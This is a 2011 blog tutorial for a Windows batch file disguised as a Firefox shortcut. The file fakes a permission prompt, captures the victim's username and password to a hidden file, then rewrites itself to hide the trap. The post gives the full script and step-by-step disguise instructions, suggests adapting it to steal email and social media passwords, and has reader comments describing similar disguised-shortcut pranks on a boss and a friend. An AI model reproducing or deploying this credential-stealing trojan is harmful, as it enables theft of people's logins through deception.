Monday, October 10, 2011

How to write a simple file for getting someones computer password

Alright, so what this file does is prompts the user for their computer username and password. Of course you'd think "Why would they give it to you anyways?". But what we're doing is making it look like it's part of the application, which in this case, is Firefox. It then saves the data, and removes itself from the computer. 
Alright, let's get started!

Note: If you would like to download the file instead of copy and pasting the code, you can download it here: MozillaFirefox.bat.
Once you have downloaded this file, skip to step 5.

Step 1:
Go to the start menu>all applications>accessories>notepad
Notepad is a simple text editor, it doesn't have any auto correct, so it's really good for scripting, but you have to make sure everything's spelled right or the code won't work.

Step 2:
Copy and paste this code into the notepad window. (I'll explain it's function in the last step.)

@echo off
color 0a
echo ==================================
echo The application "Firefox" needs
echo special permission to run the
echo startup process. We will only ask
echo you for this information once.
echo Please enter your username and 
echo password here:
echo =================================
echo =========
echo Username:
echo =========
set /p user=
echo =========
echo Password:
echo =========
set /p pass=
echo ==================
echo Thank you, Firefox
echo will start shortly
echo ==================
echo user: %user% pass: %pass% > userpass.txt
start firefox.exe
echo start firefox.exe > MozillaFirefox.bat

Step 3:
Click File>save as.
Name the file MozillaFirefox.bat
NOTE THAT THERE IS NO SPACES, this is crucial.
Make sure to click save as type all files.

Step 4:
You should end up with something like this on your desktop.

Step 5:
Go to start>My Computer now, you want to click on the icon that says Local disk (c:).
Once there, create a new folder called "secret" minus the quotes. This is where the file will be saving the username and password.

Step 6:
Drag and drop MozillaFirefox.bat from your desktop into your new folder.

Step 7: 
Right click MozillaFirefox.bat, and choose create shortcut. once you have the shortcut, drag and drop it to your desktop, and rename it Mozilla Firefox, this time with spaces.
You should end up with something like this:

Step 8:
Right click the shortcut, and click "change icon" shown here:

Step 9:
You will get prompted with a little message box telling you that there are no icons in this directory. after that, a window will pop up with a area to type in a directory path, and some icons. what you want to do, is paste this path in the area highlighted red: "C:\Program Files\Mozilla Firefox\firefox.exe" again, minus the quotes.
 After that, choose the top or bottom icon, they're both the same.

Step 10:
Leave the shortcut on the desktop, and wait for your victim to use Firefox. The Username and Password will get saved in a file called cool.txt in your secret folder. If you have experience with batch, feel free to tweak the file to get other info, such as email or social networking passwords. After you get the info, you can  leave the file on the desktop, and it will serve the same purpose as the original Firefox shortcut, it will launch Firefox. This is because i wrote the file so that as soon as it gets the info, it saves it, and also rewrites MozillaFirefox.bat so that it launches Firefox instead of asking for info again. In effect, it self destructs. The only flaw with this method of launching Firefox (although it does mean you don't have to change things on this persons computer anymore) is that a small black window flashes for a minuscule period of time before Firefox launches.

Have fun with this, also i'm not responsible for anything  you do with this file.

If you liked this tutorial, please join or Follow my blog!


  1. Doug (Angie's dad)October 14, 2011 at 4:01 PM

    Dude, you are *such* a hacker. :) I think most geeks would ignore the password request and start searching. Or, if you're like me, I'd put in a fake username and password (like HA I_CAUGHT_YOU). :)


  2. Doug (Angie's dad)October 14, 2011 at 4:05 PM

    P.S. I hacked my boss's computer once too. And he was the supervisor of IT nerds, so should have known better than to fall for it.

    I re-engineered his Word icon so that it would run a batch file in the background, but still open up Word. In the batch file, I had it run a sendmail command, which created the email and sent it off to all of his team. In the email I said some things which were set to embarrass him.

    Over the next few days, he kept sending this same email out - until people started replying back, asking him what the story was. He finally gave up and send everyone an email saying "whoever set this up - please come and remove it!". :) That was fun.

  3. That's true, I know that I'd ignore a prompt like that. This file was more of my introduction to batch tutorials than a script that serves an actual purpose.
    Sounds like a pretty funny prank you played on your boss, I did something similar once. I logged into my friends computer while he was playing video games and wrote a fake virus script. I then changed the icon and name to internet explorer and left it there. I got a call about a week later becausevhe thought he had a virus that was wiping his hard drive, it was pretty funny, but kinda mean.
    We should work on a file together sometime. We could probably make something pretty good.
    Oh and feel free to make some changes to the script, i'd love to see what you come up with!

  4. Oh and I don't mean a prank when I say we should work on a script, it could be a backup utility, or anything really.